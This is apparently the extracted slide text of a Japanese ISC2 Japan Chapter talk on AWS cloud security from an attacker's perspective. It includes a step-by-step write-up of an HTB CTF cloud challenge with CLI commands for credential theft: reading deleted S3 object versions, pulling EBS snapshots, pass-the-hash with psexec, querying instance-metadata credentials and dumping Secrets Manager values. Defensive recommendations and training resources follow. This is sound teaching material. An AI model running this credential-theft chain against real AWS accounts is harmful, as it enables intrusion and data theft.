    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 初期侵入
 1. 初期アクセス
 2. 実行
 奪取・悪用 
 9. 収集
 10. 持ち出し
 11. 影響
 
 調査・探索 
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開

  56. 76
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 Cloud問題 (問題名:Asceticism) 
 1. 問題文からIAMの認証情報を元に、S3バケット に隠された別の認証情報を取得
 2. 認証情報を元に、EC2インスタンス とスナップショット の情報を取得
 3. スナップショット の解析で得られたAdminのNTLMハッシュでEC2に接続
 4. EC2を調査してメタデータから認証情報を取得
 5. 認証情報を元に、データを復号化して、新たな認証情報を取得
 6. 認証情報を元に、Secretを列挙して、新たな認証情報を取得
 7. 認証情報を元に、マネコンにログインして、答え(S3バケットの中身)を入手
 https://github.com/hackthebox/business-ctf-2024/tree/main/cloud/%5BInsane%5D%20Asceticism
  57. 77
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 1. (問題から)入手したIAMの調査 
 • IAM(1)の許可された権限をツールで列挙
 ◦ Pacu
 ▪ iam__enum_permissions, iam__bruteforce_permissions
 ◦ enumerate-iam
 • S3バケットが1つ見れることを確認 (flagの答えは見れず)
 $ aws s3 ls --profile asceticism-stone-dev 2024-05-07 23:07:20 vault11-reports $ aws s3 ls s3://vault11-reports/flag/ --profile asceticismstone-dev 2024-05-07 23:07:25 43 flag.txt スキップ
  58. 78
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 2. IAM(1)で許可されたS3バケットの調査 
 • オブジェクトのバージョニングを確認
 ◦ 削除された古いバージョンでIAM(2)を含むCSVファイルが存在したことを確認 
 • AWS CLIでCSVファイルをダウンロード
 
 
 • CSVファイルから取得したIAM(2)を確認
 ◦ EC2インスタンスの⼀覧とスナップショットの⼀覧が閲覧可能
 $ aws s3api get-object --bucket vault11-reports --key snapper_accessKeys.csv --version-id O_Ybx9qvdhhJgdcuaeQNBXy9weknoyIi snapper_accessKeys.csv --profile asceticism-stone-dev スキップ
  59. 79
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 3. IAM(2)で許可されたEC2の調査 
 • EC2インスタンスやスナップショットを確認
 
 
 • 許可されていたスナップショットのブロックをダウンロード
 
 ◦ Pacu の「ebs__download_snapshots」モードやツール「dsnap」でも
 ダウンロード可能
 $ aws ec2 describe-instances --profile asceticism-snapper $ aws ec2 describe-snapshots --owner-ids 532587168180 -- profile asceticism-snapper $ aws ebs list-snapshot-blocks --snapshot-id snap04d68f6296b5893de --profile asceticism-snapper スキップ
  60. 80
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 4. 取得したスナップショットの調査 
 • イメージ解析 (.vhdxファイルが見つかる)
 
 • マウントして、NTLMハッシュを取得
 ◦ mimikatz.exe を用いる
 $ guestfish -a snap-00197900d5ed8277e.img スキップ
  61. 81
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 5. NTLMハッシュでインスタンスに接続&調査 
 • 別のEC2インスタンスに接続
 
 • EC2インスタンス内を調査
 ◦ EC2インスタンス内からメタデータにアクセス&IAM(3)の取得
 $ python3 psexec.py -hashes :0b4781dad49c808c37bf3491dec3df91 [email protected] $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/KMSRoleWin スキップ
  62. 82
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 6. IAM(3)の調査 
 • KMSの権限があり、先ほどインスタンスで見つかった
 ファイル「backup.ps1.enc」を復号する
 
 • 復号すると、IAM(4)を含むPowershellスクリプトを取得
 ◦ 認証情報がハードコードされている
 $ aws kms decrypt --ciphertext-blob fileb://./backup.ps1.enc --key-id 038c41d9-b337-43fe-a0a3-6d622bb7131d --region us-east-1 --profile KMSRoleWin スキップ
  63. 83
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 6. IAM(4)の調査 
 • Secrets Managerの権限があり、Secretを列挙
 • 発見したSecretの内容を確認
 
 
 • 内容から、AWSマネコンへのログイン情報を得る
 • 最終的に、AWSマネコンにログインして
 S3バケットにアクセスして答え(Flag)を取得
 $ aws secretsmanager list-secrets --region us-east-1 --profile vaultmanager $ aws secretsmanager get-secret-value --secret-id AWSVault11-dev --region us-east-1 --profile vaultmanager スキップ
  64. 84
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 HTB Business CTF 2024

    
 Cloud問題 (問題名:Asceticism) - まとめ 
 1. IAM → S3バケット内で消されたファイルから別のIAMを取得
 2. IAM → EC2のスナップショットをブロックで取得
 3. スナップショット → 解析してNTLMハッシュを取得
 4. NTLMハッシュ → EC2インスタンスに接続
 5. EC2インスタンス → メタデータサービスから別のIAMを取得
 6. IAM → KMSを利用してデータを復号化&別のIAMを取得
 7. IAM → S3バケットから機密情報(答えのFlag)を取得
 →認証情報(IAM)が 1つ漏洩した状態から スタートした問題  (調査・探索パート ) https://github.com/hackthebox/business-ctf-2024/tree/main/cloud/%5BInsane%5D%20Asceticism
  65. 87
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 タイムテーブル (55分) 
 18:05

    ~ 18:10 (5分)  前置き + 本題説明
 18:10 ~ 18:20 (10分) クラウドセキュリティ
 18:20 ~ 18:40 (20分) 攻めの視点
 18:40 ~ 18:45 (5分)  守りの視点 
 18:45 ~ 18:50 (5分)  まとめ
 18:50 ~ 19:00 (10分) Q&Aセッション
 

  66. 89
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 攻撃者視点から学ぶセキュリティ対策 


    1. クラウド環境の全体から「重要資産・機密情報 」を把握する
 a. 顧客情報, 社員情報, 社内情報, 認証情報(IAM, API Key), AWSリソース, ...
 2. 外部や内部の視点から様々な脅威(セキュリティリスク) を想定する
 a. 脆弱性攻撃, 設定不備, フィッシング, マルウェア感染, ...
 3. 様々な脅威に対して各対象や段階でセキュリティ対策 を検討&実施する
 a. 脆弱性対策, AWSリソースや設定の管理, AWSセキュリティサービスの活用, ...
 4. 初期侵入された場合に被害を最小限 に抑えられるように多層防御を実施する
 a. 侵入検知, 侵入防止, セキュリティ監視・運用, (最小権限の徹底), ...
 ポイント
  67. 90
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 攻撃者視点から学ぶセキュリティ対策 (キーワード)

    
 • 多層防御
 ◦ 組織において複数の防御策を施すセキュリティ対策
 ▪ 3つの領域:入口対策 → 内部対策 → 出口対策
 ▪ クラウド環境:
 • MITRE ATT&CKの3段階 (初期侵入 → 調査・探索 → 奪取・悪用) 
 • ゼロトラスト 
 ◦ 社内外を問わず全てのユーザーやデバイスを信頼せず、
 常に認証や承認を求める考え方 (セキュリティモデル) 

  68. 91
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 攻撃者視点から学ぶセキュリティ対策 (キーワード)

    
 • アタックサーフェス (攻撃対象領域) 
 ◦ 自社サービスが動く外部向けのクラウド環境 
 ◦ 社内システムが動く内部向けのクラウド環境 
 ◦ クラウド環境を扱う人間
 
  →対策:脆弱性診断, IaaS監視, 脅威検知, EDR, 多要素認証, 認証認可の管理, 研修, 啓発, ...

  69. 92
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 AWS公式ドキュメント 


    AWS Well-Architected Framework セキュリティの柱 
 • ID とアクセス管理
 ◦ アクセス権限の付与・範囲・強さ・管理
 • 検知
 ◦ 設定変更, 不要な動作, アラート
 • インフラストラクチャ保護
 ◦ ネットワーク, コンピューティング
 • データ保護
 ◦ 保管中のデータ, 転送中のデータ 
 • インシデント対応
 ◦ 予防的対策(設計レベル)と事後対策 (自動化)
 • アプリケーションのセキュリティ
 https://docs.aws.amazon.com/ja_jp/wellarchitected/latest/security-pillar/welcome.html
  70. 93
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 AWS公式ドキュメント 


    AWS Well-Architected Framework セキュリティの柱 
     [優先度:高] 
 • ID とアクセス管理
 ◦ アクセス権限の付与・範囲・強さ・管理
 • アプリケーションのセキュリティ
 • データ保護
 ◦ 保管中のデータ, 転送中のデータ
     [優先度:中・小] 
 • インシデント対応
 ◦ 予防的対策と事後対策
 • 検知
 ◦ 設定変更, 不要な動作, アラート
 • インフラストラクチャ保護
 ◦ ネットワーク, コンピューティング

  71. 96
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 組織として理想的なセキュリティの取り組み 


    1. 技術観点
 a. 脆弱性診断, ペネトレーションテスト(侵入テスト)
 2. 運用観点
 a. 攻め:MITRE ATT&CK, レッドチーム演習
 b. 守り:セキュリティ対応組織の教科書(SOC,CSIRT), ブルーチーム演習

  72. 97
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 組織として理想的なセキュリティの取り組み 
 1. 技術観点


    a. 脆弱性診断, ペネトレーションテスト(侵入テスト)
 2. 運用観点
 a. 攻め:MITRE ATT&CK, レッドチーム演習
 b. 守り:セキュリティ対応組織の教科書(SOC,CSIRT), ブルーチーム演習
 
   専門家やセキュリティチームによる評価・改善が大切になる。 
 クラウド環境におけるセキュリティ対策 
 一時的な観点 継続的な観点
  73. 98
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 技術観点におけるセキュリティの取り組み 
 • 脆弱性診断

    
 ◦ Webアプリケーション診断, クラウド診断
 • ペネトレーションテスト 
 ◦ Webペネトレーションテスト, 社内ネットワークペネトレーションテスト
 クラウドに特化する場合(AWS) :
 • 閲覧権限を持つIAMをもとに、AWS環境内の設定不備や不適切な管理をチェックする。
 • 役割別のIAMをもとに、侵入・侵害や機密情報の取得などができないかをチェックする。
 ◦ 各役割の例(漏洩を想定):開発者の端末にあるIAM, WebアプリのEC2に付与されたIAM, ...
 クラウド環境におけるセキュリティ対策 

  74. 99
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 タイムテーブル (55分) 
 18:05

    ~ 18:10 (5分)  前置き + 本題説明
 18:10 ~ 18:20 (10分) クラウドセキュリティ
 18:20 ~ 18:40 (20分) 攻めの視点
 18:40 ~ 18:45 (5分)  守りの視点
 18:45 ~ 18:50 (5分)  まとめ 
 18:50 ~ 19:00 (10分) Q&Aセッション

  75. 101
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 本講演のポイント (ゴール) 
 1.

    攻撃者から見たクラウド環境のターゲット 2. AWS環境における攻撃者の侵入手順    3. 攻撃者を想定したセキュリティ対策
  76. 102
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境に対する攻撃者の主な目的 


    • 最終目的
 ◦ 機密情報の奪取 (顧客情報, 社員情報, 社内情報, ...)
 ▪ S3, RDS, DynamoDB, EBS, EFS, ...
 ◦ AWSリソースの悪用 (マイニング, マルウェア配布, DoS攻撃, ...)
 ▪ EC2, Lambda, S3, Fargate, ...
 ◦ ビジネス的な悪影響 (サービス停止, 改修コスト, 印象操作, 株価, ...)
 • その他 (一次目的) 
 ◦ AWSやAPIなどの認証情報の奪取
 ポイント
  77. 103
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 MITRE ATT&CK

    Framework for Cloud (IaaS) 
 11の攻撃ライフサイクル (ステップ) 
 初期侵入
 1. 初期アクセス
 2. 実行
 奪取・悪用 
 9. 収集
 10. 持ち出し
 11. 影響
 
 調査・探索 
 3. 永続性
 4. 権限昇格
 5. 防御回避
 6. 認証情報アクセス
 7. 探索
 8. 水平展開

  78. 104
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 攻撃者視点で見るクラウド環境 
 AWS環境におけるセキュリティツール「Pacu」 


    • 様々な攻撃手法にモジュールが用意されたAWS環境における
 セキュリティテストを行えるオープンソースなツール
 • 各フェーズに合わせた攻撃モジュールが多数用意されている
 ◦ 現在73個のモジュールあり
 
 https://github.com/RhinoSecurityLabs/pacu
  79. 105
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 クラウド環境におけるセキュリティ対策 
 攻撃者視点から学ぶセキュリティ対策 


    1. クラウド環境の全体から「重要資産・機密情報 」を把握する
 a. 顧客情報, 社員情報, 社内情報, 認証情報(IAM, API Key), AWSリソース, ...
 2. 外部や内部の視点から様々な脅威(セキュリティリスク) を想定する
 a. 脆弱性攻撃, 設定不備, フィッシング, マルウェア感染, ...
 3. 様々な脅威に対して各対象や段階でセキュリティ対策 を検討&実施する
 a. 脆弱性対策, AWSリソースや設定の管理, AWSセキュリティサービスの活用, ...
 4. 初期侵入された場合に被害を最小限 に抑えられるように多層防御を実施する
 a. 侵入検知, 侵入防止, セキュリティ監視・運用, (最小権限の徹底), ...
 ポイント
  80. 106
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 ISC2のクラウドセキュリティ資格 
 CCSP(Certified Cloud

    Security Professional) 
 • クラウドサービスを安全に利用するために必要な知識を体系化した資格
 https://japan.isc2.org/ccsp_gaiyou.html
  81. 108
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 OffSecのクラウドセキュリティ 
 OffSec Learning

    Path: Offensive Cloud Security 
 シラバス
 • パブリッククラウドの偵察 - 外部からの調査
 • パブリック・クラウドの偵察 - 危殆化後 - IAM
 • CICDを攻撃する ポイズンド・パイプラインに漏れた秘密
 • CICDを攻撃する 不十分なフロー制御
 • CICDを攻撃する 依存関係の悪用
 • コンテナによる情報収集の回避
 • コンテナがホストとのやり取りを逃れる
 • 暴露されたDockerソケットの発見
 • 公開されたKubernetesダッシュボードの発見
 https://www.offsec.com/learning/paths/offensive-cloud/
  82. 109
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 トレーニングコンテンツ 
 AWSに関する脆弱な演習環境 (例)

    
 CloudGoat 
 • 脆弱なLambda関数
 • 脆弱なEC2
 • Cognitoの設定不備
 • ECSの設定不備
 • 不適切なIAMポリシー
 • 不適切なCodeBuild
 • ...
 AWSGoat 
 • XSS
 • SQL Injection
 • IDOR
 • SSRF on Lambda Environment 
 • Sensitive Data Exposure and Password Reset
 • S3 Misconfigurations
 • IAM Privilege Escalations
 • ECS Container Breakout
 https://github.com/RhinoSecurityLabs/cloudgoat https://github.com/ine-labs/AWSGoat
  83. 111
 ISC2 Japan Chapter勉強会 2024/07「クラウドセキュリティ入門〜オフェンシブ視点で AWS環境に着目した際の脅威と対策〜」 執筆したブログ 
 クラウドセキュリティに関する執筆 (ブログ)

    
 • Lambda の落とし穴 - 脆弱なライブラリによる危険性とセキュリティ対策
 • サーバーレスのセキュリティリスク - AWS Lambda における脆弱性攻撃と対策
 • Amazon S3の脆弱な利用によるセキュリティリスクと対策
 • CTF Cloud 問題の攻撃手法まとめ (2021, 2022, 2023年版)
 • HTB Cloud 問題の攻撃手法まとめ
 • Amazon EC2 におけるセキュリティ(脆弱性)事例
 • フィッシングによる AWS ログイン の MFA 認証の回避と事例
 • オフェンシブ視点による Cloud Security 入門 ~AWS 編~
 
 https://scgajge12.github.io/tags/cloud/